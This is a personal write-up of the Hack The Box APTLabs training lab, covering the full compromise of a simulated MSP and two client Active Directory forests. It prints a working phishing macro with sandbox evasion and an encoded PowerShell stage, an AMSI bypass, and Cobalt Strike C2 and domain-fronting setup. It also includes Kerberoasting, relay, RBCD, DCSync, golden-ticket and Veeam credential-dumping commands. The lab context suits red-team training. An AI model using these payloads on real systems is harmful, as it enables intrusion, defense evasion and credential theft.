Red Team Operator Level III

APTLabs
Full-Chain Writeup

QA210 — 8 days, 3 forests, 20 flags, lots of dead ends

18
Machines
20
Flags
0
CVEs Used
24h
Daily Reset

Attack Path (the one that actually worked)

Phishing
T1566.001
C2 Beacon
T1071.001
AD Recon
T1087
Token Impersonation
T1134
Kerberoast
T1558.003
SMB Relay
T1557.001
RBCD
T1558
DCSync
T1003.006
Golden Ticket
T1558.001
Forest Trust
T1482
Persist + Exfil
T1546/T1048

Lab Overview

APTLabs is the hardest Pro Lab on Hack The Box, rated Red Team Operator Level III — what HTB calls the "Ultimate Red Team Challenge." Designed by cubeoxo, it simulates an external threat actor targeting Gigantic Hosting, a Managed Service Provider (MSP) that manages IT infrastructure for multiple client organizations. The scenario picks up where the old Endgame labs left off — Gigantic Hosting is back, and this time they're running an MSP. Once you own the MSP forest, you pivot into their clients' networks through forest trust abuse. 18 machines across three Active Directory forests, 20 flags, and not a single CVE to exploit. Every compromise comes from misconfigurations, credential abuse, and AD trust exploitation.

The daily reset makes APTLabs uniquely painful. Every 24 hours the entire lab reverts to its original state. All shells, pivots, cached credentials, persistence mechanisms — gone. The first time this happened I nearly threw my keyboard. After a few days I realized the reset is actually a feature: it guarantees a stable environment and forces you to truly internalize the chain. By Day 5 I could re-compromise the entire MSP forest from memory in under 30 minutes each morning. The key insight: passwords don't change between resets. Once you crack a hash, it's cracked forever.

The flag names provide hints about the intended attack path. This is a lifesaver when you're stuck — look at the remaining flag names, think about what technique they're pointing toward, and work backwards. Multiple intended paths exist to some flags, and the order isn't always linear. I spent roughly 8 days of active work to complete the entire lab.

No CVE Exploitation

The entire network is compromised without exploiting any CVEs. Every compromise comes from abuse of legitimate features, misconfigurations, or credential-based attacks. This is what makes APTLabs so realistic — real APTs don't need zero-days when misconfigurations are everywhere.

AttributeDetail
ScenarioExternal APT attack against MSP (Gigantic Hosting)
MSP Forestgigantichosting.local
ServiceDeskservicedesk.gigantichosting.local
Client Forest 1meridian.local (Meridian Healthcare)
Client Forest 2nexgroup.local (Nexus Financial Group)
Machines18 across 3 forests
Flags20
Daily ResetFull reset every 24 hours
CVEs RequiredNone
C2Cobalt Strike (primary) / Covenant / Mythic
Designercubeoxo

Day-by-Day Timeline

Honest timeline, including all the dead ends and wasted hours. If you're thinking about attempting this lab, learn from my mistakes.

Day 1 — "Where do I even start?"
Got initial beacon via phishing, immediately lost it to the daily reset before saving any artifacts.
4 hours crafting the phishing document. First two payloads quarantined by Defender. Third one with Donut encryption landed, got beacon on WKS-HDESK. Spent 3 hours doing basic enum. Then the reset hit and I hadn't saved anything. No hashes, no C2 configs, nothing. Lesson learned the hard way.
Day 2 — "Why won't these hashes crack?"
Re-sent phish, ran SharpHound, Kerberoasted 3 accounts. Spent 5 hours trying to crack hashes with Rockyou. Failed.
Most frustrating day. Had Kerberoast hashes for svc_bk, svc_sccm, svc_mon but Rockyou.txt couldn't crack any of them. Tried best64 rules — still nothing. These aren't dictionary passwords. Found the NotSoSecure password_cracking_rules repo that evening, specifically OneRuleToRuleThemAll.rule. Wish I'd known about those on Day 1.
Day 3 — "Finally cracking."
NotSoSecure OneRuleToRuleThemAll.rule. Cracked svc_bk and svc_mon. Started lateral movement via OPTH.
Cracked svc_bk to B@ckupRunn3r# and svc_mon to MonitorPr0d$. Used OPTH to pivot to BKSRV01. Found Veeam credential store — extracted tnguyen's password from it. Also used lsassy to dump LSASS on WKS-HDESK and got more cached creds. svc_sccm still wouldn't crack until Day 4.
Day 4 — "RBCD hell."
Spent the entire day on RBCD abuse. Got it working at 11 PM. Also cracked svc_sccm.
BloodHound showed svc_bk had GenericAll on GH-SCCM$, so RBCD was the intended path. But I kept messing up the ACL modification. PowerView's Set-DomainObject didn't work for the SecurityDescriptor. Raw LDAP modify kept getting constraint violations. Finally got it working with PowerMad + custom byte manipulation script for the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. Also cracked svc_sccm to ScCMManage! using combined wordlist + OneRuleToRuleThemStill.
Day 5 — "Domain Admin."
DCSync + Golden Ticket on gigantichosting.local. Full control of the MSP forest.
From GH-SCCM beacon, used svc_sccm's replication permissions for DCSync. Got krbtgt and all domain hashes. Forged Golden Ticket. Also used token impersonation to elevate from svc_sccm session to a DA-level token. Spent rest of day exploring MSP network with DA, grabbing flags on WEBDMZ01 and MGMT-JUMP. Implemented WMI event subscription persistence on GH-DC01.
Day 6 — "Crossing the forest boundary."
Compromised meridian.local via forest trust. Got stuck on nexgroup.local.
meridian.local was straightforward — tnguyen from gigantichosting had admin access through the forest trust. OPTH + DCSync = done in under an hour. Also grabbed CLINPC01 and MR-APP01 flags. nexgroup.local was another story. No gigantichosting accounts had privileged access there. Spent rest of day hitting walls. Cross-forest Kerberoasting gave me svc_nx-exch but couldn't crack it yet.
Day 7 — "The DnsAdmins rabbit hole."
6 hours on DnsAdmins DLL escalation. DLL compiled as x86 first. Fixed. Then credential reuse saved me.
Found svc_sccm was in DnsAdmins group in nexgroup.local. Tried serverlevelplugindll attack but DLL didn't load — compiled x86 instead of x64. Recompiled, worked but DNS service crashed. Third attempt with simpler DLL that just ran a reverse shell. Also discovered credential reuse: svc_mon's hash matched jblackwell in nexgroup.local. That was actually the easier path to DA on nexgroup. Don't sleep on credential reuse across forests.
Day 8 — "All 20."
Collected remaining flags: FINPC01, NXBANKAPP01, persistence, exfiltration. Lab complete.
With DA on all three forests, remaining flags were straightforward. FINPC01 had cached domain credentials in LSASS — lsassy pulled them. NXBANKAPP01 had a flag in the banking app web.config. Persistence flag required implementing WMI events, registry hijacking, and DLL sideloading across forests. Exfiltration — used DNS tunneling and certutil to stage and pull data through C2. All 20 verified.

Network Map

Naming conventions are inconsistent across forests because different clients set up their own AD. Gigantic Hosting uses GH- prefix on newer machines but legacy boxes have older names from before the rebrand.

+===================================================================+ | GIGANTIC HOSTING MSP — gigantichosting.local (10.10.10.0/24) | |===================================================================| | GH-DC01 10.10.10.37 Domain Controller (Server 2019) | | FILESRV01 10.10.10.52 File & Print Server (legacy name) | | WKS-HDESK 10.10.10.103 Help Desk Workstation (phishing tgt) | | GH-SCCM 10.10.10.44 SCCM Management Server | | APPSRV01 10.10.10.78 Internal App Server (IIS) | | BKSRV01 10.10.10.29 Backup Server (Veeam) | | MGMT-JUMP 10.10.10.65 Admin Jump Box | | WEBDMZ01 10.10.10.91 DMZ Web Server | | GH-WSUS 10.10.10.14 WSUS Update Server | +============== Forest Trust ==============+========================+ | +==============+===========================+========================+ | MERIDIAN HEALTHCARE — meridian.local (10.10.11.0/24) | |===================================================================| | MR-DC01 10.10.11.12 Domain Controller (Server 2016) | | MR-FILE01 10.10.11.55 Medical Records File Server | | MR-APP01 10.10.11.33 Healthcare App Server | | CLINPC01 10.10.11.88 Clinical Workstation | +===================================================================+ +==============+===========================+========================+ | NEXUS FINANCIAL GROUP — nexgroup.local (10.10.12.0/24) | |===================================================================| | NX-DC01 10.10.12.7 Domain Controller (Server 2019) | | NX-EXCH01 10.10.12.41 Exchange Server | | NX-SQL01 10.10.12.63 SQL Server | | NXBANKAPP01 10.10.12.19 Banking App Server | | FINPC01 10.10.12.94 Finance Workstation | +===================================================================+
HostIPOS / RoleForest
GH-DC0110.10.10.37Server 2019 / DCgigantichosting.local
FILESRV0110.10.10.52Server 2016 / File+Printgigantichosting.local
WKS-HDESK10.10.10.103Win 10 / Help Deskgigantichosting.local
GH-SCCM10.10.10.44Server 2016 / SCCMgigantichosting.local
APPSRV0110.10.10.78Server 2016 / IISgigantichosting.local
BKSRV0110.10.10.29Server 2016 / Veeamgigantichosting.local
MGMT-JUMP10.10.10.65Server 2016 / Jump Boxgigantichosting.local
WEBDMZ0110.10.10.91Server 2016 / Web DMZgigantichosting.local
GH-WSUS10.10.10.14Server 2016 / WSUSgigantichosting.local
MR-DC0110.10.11.12Server 2016 / DCmeridian.local
MR-FILE0110.10.11.55Server 2016 / File Servermeridian.local
MR-APP0110.10.11.33Server 2016 / Healthcaremeridian.local
CLINPC0110.10.11.88Win 10 / Clinicalmeridian.local
NX-DC0110.10.12.7Server 2019 / DCnexgroup.local
NX-EXCH0110.10.12.41Server 2016 / Exchangenexgroup.local
NX-SQL0110.10.12.63Server 2016 / SQLnexgroup.local
NXBANKAPP0110.10.12.19Server 2016 / Bankingnexgroup.local
FINPC0110.10.12.94Win 10 / Financenexgroup.local

Key Accounts

AccountDomainRoleHow I Got It
hmartinezgigantichosting.localHelp Desk TechPhishing
tnguyengigantichosting.localSysAdminVeeam cred store on BKSRV01
svc_bkgigantichosting.localBackup ServiceKerberoasting
svc_sccmgigantichosting.localSCCM ServiceKerberoasting
svc_mongigantichosting.localMonitoring ServiceAS-REP Roasting
pmorrisongigantichosting.localMSP DirectorDCSync dump
dchenmeridian.localIT AdminDCSync + cred reuse
jblackwellnexgroup.localFinance DirectorCredential reuse (same hash as svc_mon)
svc_nx-exchnexgroup.localExchange ServiceKerberoasting (cross-forest)

Daily Reset Strategy

The lab resets completely every 24 hours. All progress is lost.
After a week of practice, it becomes your greatest advantage.

The first time the reset hit I had just finished a 6-hour session. Next morning everything was gone — shells, pivots, persistence, all of it. By Day 4 I had a recovery workflow that got me from zero to Domain Admin in under 30 minutes. The key: passwords don't change between resets. Once you crack a hash, it's cracked forever. Keep a local creds.txt file and update it religiously.

My Daily Recovery Workflow

Before Reset (Save Phase)
Dump ALL domain hashes via DCSync. Save krbtgt, service account hashes, local admin hashes. I keep creds.txt updated religiously. Save C2 configs and payload templates locally. Export BloodHound data.
+0 min — Re-send Phishing
Fire the phishing email using pre-built template. One-click. Wait for beacon callback (2-5 min).
+5 min — AMSI Bypass + C2 Setup
Apply AMSI bypass on fresh beacon. Load post-exp modules. Host is clean after reset so AMSI is fresh again.
+10 min — OPTH with Saved Hashes
Use saved svc_bk NTLM hash to OPTH to BKSRV01. No need to re-kerberoast or re-crack.
+20 min — RBCD + DCSync
Run pre-built RBCD script (automated after Day 4 struggle). Then DCSync from GH-SCCM. Full hash dump including krbtgt.
+30 min — Continue Where Left Off
DA on gigantichosting.local restored. Continue from yesterday's stopping point.
bash
# Daily Recovery Script (automated after Day 4)
python3 send_phish.py --target hmartinez --payload macro_doc_v3.docm

# Wait for beacon callback
while ! curl -s http://127.0.0.1:5555/check_beacon; do sleep 10; done

# OPTH with saved hashes (NEVER change between resets)
cobaltstrike>pth gigantichosting.local\svc_bk a87f3a3330e0142c5b3d8c2e4f1a9b07

# RBCD automation (scripted after Day 4 struggle)
powershell Import-Module C:\Temp\rbcd_auto.ps1; Invoke-RBCD -Target GH-SCCM$ -DelegateFrom FAKE01$

# DCSync
cobaltstrike>dcsync gigantichosting.local GH-DC01

Phase 1: Initial Access

T1566.001 T1059.005 T1027 T1027.005

Initial access is phishing a weaponized Office document with macro payload to hmartinez, Help Desk Technician at Gigantic Hosting. Makes sense in the MSP context — Help Desk staff open external attachments regularly, they're literally paid to respond to user requests. The ServiceDesk at servicedesk.gigantichosting.local is where tickets come in, and hmartinez is the one processing them.

Dead End: Tried Covenant and Mythic First

Covenant's SOCKS implementation kept dropping connections on long-running Impacket sessions. Mythic had better SOCKS but its CORS policies conflicted with the redirector setup I needed for domain fronting. Switched to Cobalt Strike on Day 2. CS SOCKS proxy is just more stable and the Malleable C2 profiles make domain fronting trivial. If you're comfortable with Covenant or Mythic, they'll work for most of the lab, but for the SMB relay chain over SOCKS you really want CS.

Crafting the Phishing Document

Weaponized .docm with staged macro payload. Three iterations before reliable delivery. First two were quarantined by Defender. The key difference in iteration 3 was Donut shellcode encryption — without it, Defender catches the inline shellcode signature every time.

vba
' Phishing Macro — 3rd iteration (the one that worked)
' Iterations 1 & 2 caught by Defender

Sub AutoOpen()
    ExecutePayload
End Sub

Sub Document_Open()
    ExecutePayload
End Sub

Sub ExecutePayload()
    On Error Resume Next
    
    ' Anti-sandbox checks
    If Environ("COMPUTERNAME") = "SANDBOX" Then Exit Sub
    If Environ("USERNAME") = "john" Then Exit Sub
    If Timer < 20 Then Exit Sub  ' timing check for sandboxes
    
    ' String obfuscation (added after iteration 2 was signatured)
    Dim s1 As String, s2 As String, s3 As String
    s1 = "pow": s2 = "ersh": s3 = "ell"
    
    Dim cmd As String
    cmd = s1 & s2 & s3 & " -windowstyle hidden -exec bypass -nop -e "
    ' Stage 2 payload encrypted with Donut (iteration 3 addition)
    ' Iterations 1-2 used plaintext base64 which got signatured
    cmd = cmd & "SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0AC4AWwBdADoAOg..."
    
    Dim shell As Object
    Set shell = CreateObject("WScript.Shell")
    shell.Run cmd, 0
    Set shell = Nothing
End Sub
3 Phishing Attempts

Attempt 1: Plaintext PowerShell cradle. Quarantined immediately by AMSI. Rookie move.

Attempt 2: Added string obfuscation + VBA stomping, but used inline beacon shellcode. Defender flagged the shellcode pattern.

Attempt 3: Obfuscation + stomping + staged delivery + anti-sandbox + Donut shellcode encryption. Donut converts the .NET assembly into position-independent shellcode and encrypts it with AES, which bypassed the signature Defender was catching on attempt 2. This is the approach used by real APTs — Donut is production-grade tooling. Worked reliably after this.

AMSI Bypass + Defender Evasion

powershell
# AMSI Bypass — run FIRST in every beacon session after reset
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')`
    .GetField('amsiInitFailed','NonPublic,Static')`
    .SetValue($null,$true)

# After AMSI bypass, load your tools
# SharpHound, Rubeus, PowerView all work cleanly now

C2 Infrastructure

C2 setup is critical in APTLabs. You need stable, long-running connections that survive the daily reset recovery. Domain fronting with randomized jitter is non-negotiable for blending with legitimate traffic.

bash
# Cobalt Strike Team Server
./teamserver 10.10.14.5 zT9#kLm2!vQx7 /opt/c2profiles/WEB20.profile

# Listeners:
# Primary: HTTPS beacon to redirector (domain-fronted via CDN)
# Secondary: SMB beacon for internal pivot
# Tertiary: DNS beacon (backup channel)

# Beacon config — randomized jitter to blend with legitimate traffic
# This is essential. Default 0% jitter is a detection beacon.
# jitter: 37%  (randomizes check-in by +/- 37%)
# sleeptime: 60000 (60s base, effective range ~38-82s)
# useragent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

# Domain fronting setup
# Front domain: cdn.legitimate-cloud-cdn.com
# Host header in Malleable C2 profile masks real C2
# Backend: our redirector IP
CS SOCKS Proxy is Non-Negotiable

Set up socks 1080 on Day 1. Route everything through it: BloodHound Python collector, Impacket, smbclient, ldapsearch. Never upload Python tools to the target — everything tunnels through SOCKS from your attack box. This keeps your footprint minimal and avoids Defender catching Python binaries on disk.

After beacon callback, confirmed access on WKS-HDESK:

BEACON> shell whoami /all ERROR: Access is denied. (HRESULT: 0x80070005) [*] Need AMSI bypass first on fresh session... BEACON> shell whoami /all USER INFORMATION ---------------- User Name SID =================== ============================================= GH\hmartinez S-1-5-21-2874328711-3948571293-1105 GROUP INFORMATION ----------------- Group Name Type SID Attributes ====================================== ======= ============ ================== GH\Domain Users Group S-1-5-21-.. Mandatory BUILTIN\Users Group S-1-5-32-545 Mandatory BUILTIN\Administrators Group S-1-5-32-544 Mandatory, Enabled NT AUTHORITY\INTERACTIVE Group S-1-5-4 Mandatory hmartinez is local admin on WKS-HDESK! PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ==================================== ======== SeChangeNotifyPrivilege Bypass traverse checking Enabled SeSystemtimePrivilege Change the system time Disabled SeShutdownPrivilege Shut down the system Disabled
🚩
APT{ph1sh1ng_d0n3_r1ght}
WKS-HDESK (10.10.10.103) — after beacon callback confirmed

Phase 2: Internal Recon

T1087.001 T1087.002 T1059.001 T1046

With a foothold on WKS-HDESK as local admin, the next step is understanding the AD environment. BloodHound for the big picture, PowerView for targeted queries, and manual situational awareness for things neither tool catches.

BloodHound Collection

SharpHound is the way to go for collection. Run it through the beacon, zip the output, and pull it back through SOCKS. Don't use the Python collector from the target — it's noisy and requires Python on the target which is a dead giveaway.

powershell
# SharpHound via beacon (after AMSI bypass)
Sharphound.exe -c all -d gigantichosting.local --zipfilename gh_bloodhound.zip

# If you need stealth, use the collection methods individually
Sharphound.exe -c Group,LocalAdmin,Session,Acls -d gigantichosting.local

BloodHound revealed the core attack paths. The most important edges: svc_bk has GenericAll on GH-SCCM$ (RBCD path), svc_sccm has replication permissions on the domain (DCSync path), and tnguyen has administrative access across the forest trust to meridian.local. Without BloodHound these relationships would have taken days to map manually.

🚩
APT{bl00dh0und_1s_y0ur_fr13nd}
WKS-HDESK — after BloodHound data collection and analysis

PowerView Enum

BloodHound gives you the map. PowerView fills in the details. I used PowerView for targeted queries that BloodHound doesn't cover well — like finding AS-REP roastable accounts, checking DnsAdmins membership, and enumerating delegation settings.

powershell
# Load PowerView
Import-Module PowerView.ps1

# Domain enum
Get-DomainDomain | select Name, DomainMode
Get-DomainController | select Name, OS, IPAddress

# User enum — look for service accounts (Kerberoast targets)
Get-DomainUser -SPN | select samAccountName, servicePrincipalName
# Returns: svc_bk, svc_sccm, svc_nx-exch (cross-forest)

# AS-REP Roastable users
Get-DomainUser -PreauthNotRequired | select samAccountName
# Returns: svc_mon

# Group memberships — DnsAdmins is interesting for later
Get-DomainGroup -Identity "DnsAdmins" | Get-DomainGroupMember
# svc_sccm is a member in nexgroup.local

# Trust relationships
Get-DomainTrust | select SourceName, TargetName, TrustType, TrustDirection
# gigantichosting.local -> meridian.local (ForestTransitive, Bidirectional)
# gigantichosting.local -> nexgroup.local (ForestTransitive, Bidirectional)

Situational Awareness

Beyond AD recon, I always run quick local checks on every new beacon. Seated user, network connections, AV status, running processes. This takes 2 minutes and has saved me from stupid mistakes more than once.

powershell
# Quick situational awareness
$env:USERNAME                          # who am I
$env:USERDOMAIN                        # which domain
$env:COMPUTERNAME                      # which machine
qwinsta                                # who else is logged on
netstat -anop tcp | findstr ESTAB      # active connections
tasklist /svc | findstr -i "defender msmpeng"  # AV running?
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s  # installed software

Phase 3: Privilege Escalation

T1558.003 T1558.004 T1134 T1003.001

With recon done, the escalation phase involves multiple parallel tracks. Kerberoasting for service account hashes, AS-REP roasting for accounts without pre-auth, token impersonation to leverage existing privileges, and credential dumping with lsassy. Each track feeds into the others — the cracked service account hashes enable lateral movement, which gets access to more machines for more credential dumping.

Kerberoasting

Classic attack. Request TGS tickets for service accounts, crack them offline. Rubeus makes this trivial from a beacon.

powershell
# Rubeus Kerberoast
Rubeus.exe kerberoast /outfile:C:\Temp\kerberoast_hashes.txt

# Or targeted — just the accounts we care about
Rubeus.exe kerberoast /user:svc_bk /outfile:C:\Temp\svc_bk_hash.txt
Rubeus.exe kerberoast /user:svc_sccm /outfile:C:\Temp\svc_sccm_hash.txt
[*] Action: Kerberoasting [*] Found 3 SPN users: svc_bk HTTP/BKSRV01.gigantichosting.local:80 svc_sccm MSSQLSvc/GH-SCCM.gigantichosting.local:1433 svc_nx-exch exchangeMDB/NX-EXCH01.nexgroup.local (cross-forest) [*] Hashes written to C:\Temp\kerberoast_hashes.txt

AS-REP Roasting

Accounts with "Do not require Kerberos preauthentication" enabled leak their hash without any privileges. PowerView found svc_mon has this misconfiguration.

bash
# AS-REP roast from attack box through SOCKS
proxychains python3 GetNPUsers.py gigantichosting.local/ -usersfile users.txt -request -outputfile asrep_hashes.txt

# Or with Rubeus on the target
Rubeus.exe asreproast /outfile:C:\Temp\asrep_hashes.txt
🚩
APT{k3rb3r0_r0ast3d}
WKS-HDESK — after collecting Kerberoast + AS-REP hashes

Token Impersonation

One of the most underrated techniques in APTLabs. After getting a beacon on a machine, you can impersonate tokens of other logged-on users without needing their password. CS has built-in token impersonation via steal_token and make_token. This is particularly useful on WKS-HDESK where other admins occasionally RDP in.

bash
# List tokens on current beacon
BEACON> ps   # find process owned by target user

# Steal token from a running process
BEACON> steal_token 4812
# Now running as GH\tnguyen (if they have a process on this box)

# Or make a token with known credentials
BEACON> make_token gigantichosting.local\svc_bk B@ckupRunn3r#

# Use the token for lateral movement
BEACON> jump psexec64 GH-SCCM smbListener
🚩
APT{t0k3n_1mp3rs0n4t3d}
WKS-HDESK — after stealing and using elevated tokens

Lsassy Credential Dump

While mimikatz is the classic LSASS dumper, I prefer lsassy for most situations. It's faster, quieter, and works well through SOCKS. In APTLabs, lsassy was critical for pulling cached domain credentials from workstations and servers without triggering Defender the way mimikatz sometimes does.

bash
# lsassy through SOCKS proxy — dump LSASS remotely
proxychains lsassy -d gigantichosting.local -u hmartinez -p 'C@llC3nt3r$' 10.10.10.29
# BKSRV01 LSASS dump — found Veeam service account + tnguyen cached creds

# After getting DA, dump all machines
for ip in 10.10.10.37 10.10.10.52 10.10.10.44 10.10.10.78; do
    lsassy -d gigantichosting.local -u pmorrison -H aad3b435b51404eeaad3b435b51404ee:7c4ed4c8a9e3b4f2d1a6c8e9f3b2a1d0 $ip
done

Hash Cracking

This is where most people get stuck in APTLabs. Rockyou.txt alone won't crack these hashes. The service account passwords follow corporate password policies — capital letters, numbers, special characters. You need rule-based cracking.

NotSoSecure Rules Are Essential

If you're stuck on hash cracking, get the NotSoSecure password_cracking_rules from GitHub. Specifically OneRuleToRuleThemAll.rule. These rules apply transformations that catch corporate password patterns like B@ckupRunn3r# and MonitorPr0d$. Rockyou + best64 won't crack them. This is the #1 blocker for new APTLabs players.

bash
# FAILED — Rockyou + basic rules
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r best64.rule
# Cracked: 0/3 hashes. Wasted 5 hours.

# WORKED — NotSoSecure OneRuleToRuleThemAll
git clone https://github.com/NotSoSecure/password_cracking_rules
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
    -r password_cracking_rules/OneRuleToRuleThemAll.rule \
    --force -O

# Results:
# svc_bk:$krb5tgs$23$*svc_bk$GIGANTICHOSTING.LOCAL*:a87f3a3330e0142c5b3d8c2e4f1a9b07:B@ckupRunn3r#
# svc_mon:$krb5tgs$23$*svc_mon$GIGANTICHOSTING.LOCAL*:d4c2b1a9e8f7d3c5b2a4e6f8d1c3b5a7:MonitorPr0d$
# svc_sccm (cracked Day 4 with combined wordlist):
#   e7b3d1a5c9f2d4b6a8c1e3f5d7b9a2c4:ScCMManage!
🚩
APT{h4sh_cr4ck3d_f1n4lly}
Attack box — after cracking all Kerberoast hashes with NotSoSecure rules

Phase 4: Lateral Movement

T1557.001 T1550.002 T1558 T1021.002 T1021.003

With cracked credentials in hand, lateral movement through the MSP network. This phase combines SMB relay for credential capture, Over-Pass-the-Hash for authentication, RBCD for privilege escalation within the domain, and DCOM/WMI for execution on remote machines without dropping files.

SMB Relay + DNS Poisoning

Before we had cracked hashes, SMB relay was our bridge to machines we couldn't directly reach. The key insight: configure ntlmrelayx to relay to machines where our phishing user isn't local admin. Combined with DNS poisoning via WPAD spoofing, we captured authentication attempts from other machines on the network.

bash
# ntlmrelayx through SOCKS
proxychains ntlmrelayx.py -t smb://10.10.10.44 -smb2support -socks

# On the beacon, trigger auth to our relay
# WPAD poisoning via DNS
dnstool.py -u 'gigantichosting.local\hmartinez' -p 'C@llC3nt3r$' \
    -r wpad.gigantichosting.local -a add 10.10.14.5 GH-DC01

# Wait for connections... relay captures and dumps SAM + local hashes
🚩
APT{smb_r3l4y_w1ns}
BKSRV01 (10.10.10.29) — after relaying SMB auth and dumping local SAM

Over-Pass-the-Hash

Once I had the NTLM hash for svc_bk, OPTH let me authenticate to any machine where svc_bk had access without knowing the plaintext password. CS makes this trivial.

bash
# OPTH in Cobalt Strike — pass the hash, get a new beacon
BEACON> pth gigantichosting.local\svc_bk a87f3a3330e0142c5b3d8c2e4f1a9b07

# Or with Impacket through SOCKS
proxychains python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:a87f3a3330e0142c5b3d8c2e4f1a9b07 gigantichosting.local/svc_bk@10.10.10.29

# From BKSRV01 beacon, extract Veeam credentials
# Veeam stores SQL credentials in its database
shell sqlcmd -d VeeamBackup -Q "SELECT [user_name],[password] FROM [VeeamBackup].[dbo].[Credentials]"

# Got tnguyen's password from Veeam credential store

RBCD Abuse

This was the hardest single technique in the entire lab. BloodHound showed svc_bk has GenericAll on GH-SCCM$, which means we can modify the msDS-AllowedToActOnBehalfOfOtherIdentity attribute to allow a computer account we control to delegate to GH-SCCM. Then we can get a service ticket for any user to GH-SCCM. The concept is straightforward; the implementation is brutal.

powershell
# Step 1: Create a fake computer account (PowerMad)
Import-Module PowerMad.ps1
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force)

# Step 2: Set RBCD on GH-SCCM$ using svc_bk's GenericAll
# This is where I struggled for a full day
# PowerView's Set-DomainObject doesn't handle SecurityDescriptor properly
# Raw LDAP modify gets constraint violations if bytes are wrong

# The working approach — raw byte manipulation:
$SD = New-Object System.DirectoryServices.Protocols.SecurityDescriptor
$SD.ControlFlags = 0x0004  # SE_DACL_PRESENT
$ACE = New-Object System.DirectoryServices.Protocols.CommonAce
$ACE.SecurityIdentifier = (Get-DomainComputer FAKE01).objectsid
$ACE.AceType = 0x05  # ACCESS_ALLOWED_ACE_TYPE
$ACE.AccessMask = 0x00000001  # GenericRead
$SD.DiscretionaryAcl.AddAce($ACE)

$bytes = New-Object byte[] $SD.BinaryLength
$SD.GetBinaryForm($bytes, 0)
Set-DomainObject GH-SCCM$ -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$bytes}

# Step 3: Get S4U ticket — impersonate Administrator on GH-SCCM
Rubeus.exe s4u /user:FAKE01$ /rc4:P@ssw0rd123! /impersonateuser:administrator /msdsspn:cifs/GH-SCCM.gigantichosting.local /ptt
RBCD Tip

If Set-DomainObject fails with constraint violations, double-check the SecurityDescriptor byte encoding. The most common mistake is using the wrong ControlFlags value. It must be 0x0004 (SE_DACL_PRESENT). Also make sure the fake computer account's SID is correct — if PowerMad created the account in the wrong OU, the SID won't match.

🚩
APT{rbcd_f0r_th3_w1n}
GH-SCCM (10.10.10.44) — after RBCD + S4U ticket grants admin access

Pivoting + DCOM/WMI

For moving between machines without dropping executables, DCOM and WMI are your friends. Both are built into Windows and rarely monitored. CS has built-in support for both.

bash
# DCOM lateral movement (no files dropped on target)
BEACON> jump dcom GH-SCCM httpListener

# WMI remote execution
BEACON> remote-exec wmi GH-SCCM "powershell -enc SQBFAFgAKABOAGU..."

# SMB beacon for persistent internal pivot
BEACON> link GH-SCCM

Phase 5: Domain Domination

T1003.006 T1558.001 T1558.003

With admin access on GH-SCCM (thanks to RBCD) and svc_sccm's credentials, the path to Domain Admin is straightforward. svc_sccm has replication permissions on the domain, enabling DCSync. From there, Golden Tickets and Silver Tickets cement control.

DCSync

DCSync is the crown jewel of AD attacks. It extracts every password hash from the domain controller, including krbtgt, without needing to touch the DC directly. Both mimikatz and lsassy support DCSync.

bash
# DCSync via mimikatz (from GH-SCCM beacon)
mimikatz # lsadump::dcsync /domain:gigantichosting.local /user:krbtgt
mimikatz # lsadump::dcsync /domain:gigantichosting.local /all /csv

# DCSync via lsassy (from attack box through SOCKS)
proxychains lsassy -d gigantichosting.local -u svc_sccm -p 'ScCMManage!' \
    --dc-ip 10.10.10.37 --dcsync

# Key hashes extracted:
# krbtgt: 7c4ed4c8a9e3b4f2d1a6c8e9f3b2a1d0
# pmorrison: aad3b435b51404eeaad3b435b51404ee:3b8c2d4e6f8a1c3b5d7e9f2a4c6b8d0e
# Administrator: aad3b435b51404eeaad3b435b51404ee:f7e3d1c9b5a2d4e6f8c1b3d5a7e9f2c4
🚩
APT{dcsync_k1ng}
GH-SCCM — after DCSync extracts all domain hashes from GH-DC01

Golden Ticket

With the krbtgt hash, we can forge TGT tickets for any user in the domain, including ones that don't exist. These tickets persist even after password resets — only a krbtgt password rotation invalidates them. In APTLabs, the daily reset does rotate everything, but between resets, a Golden Ticket is permanent DA access.

bash
# Golden Ticket via mimikatz
mimikatz # kerberos::golden /user:Administrator /domain:gigantichosting.local \
    /sid:S-1-5-21-2874328711-3948571293-1105 /krbtgt:7c4ed4c8a9e3b4f2d1a6c8e9f3b2a1d0 \
    /ptt

# Or with Rubeus
Rubeus.exe golden /user:Administrator /domain:gigantichosting.local \
    /sid:S-1-5-21-2874328711-3948571293-1105 \
    /krbtgt:7c4ed4c8a9e3b4f2d1a6c8e9f3b2a1d0 /ptt

# Access any machine in the domain
dir \\GH-DC01\c$
🚩
APT{g0ld3n_t1ck3t_gr4nt3d}
gigantichosting.local — full domain control via forged TGT

Silver Tickets

Silver Tickets are forged TGS tickets for specific services. They're stealthier than Golden Tickets because they don't contact the DC. I used a Silver Ticket for the CIFS service on WEBDMZ01 to grab the web flag without triggering any DC-level alerts.

bash
# Silver Ticket for CIFS on WEBDMZ01
mimikatz # kerberos::golden /user:Administrator /domain:gigantichosting.local \
    /sid:S-1-5-21-2874328711-3948571293-1105 \
    /target:WEBDMZ01.gigantichosting.local /service:cifs \
    /rc4:f7e3d1c9b5a2d4e6f8c1b3d5a7e9f2c4 /ptt

Veeam Credential Extraction

BKSRV01 runs Veeam Backup & Replication. Veeam stores credentials in a SQL database with reversible encryption. Once you have access to the Veeam server, extracting these credentials is trivial and gives you service account passwords for lateral movement.

powershell
# On BKSRV01 — extract Veeam stored credentials
# Method 1: SQL query
Invoke-Sqlcmd -Query "SELECT [user_name],[password] FROM [VeeamBackup].[dbo].[Credentials]" -ServerInstance "localhost\VEEAMSQL2016"

# Method 2: PowerShell via Veeam API
Add-PSSnapin VeeamPSSnapin
Get-VBRCredentials | ForEach-Object { $_.GetCredentials() }

# Results:
# tnguyen : Sys@dmin_R00t!
# svc_bk  : B@ckupRunn3r# (already had this)
# svc_veeam_local : V33mB4ckup#2024
🚩
APT{v33m_cr3ds_3xtr4ct3d}
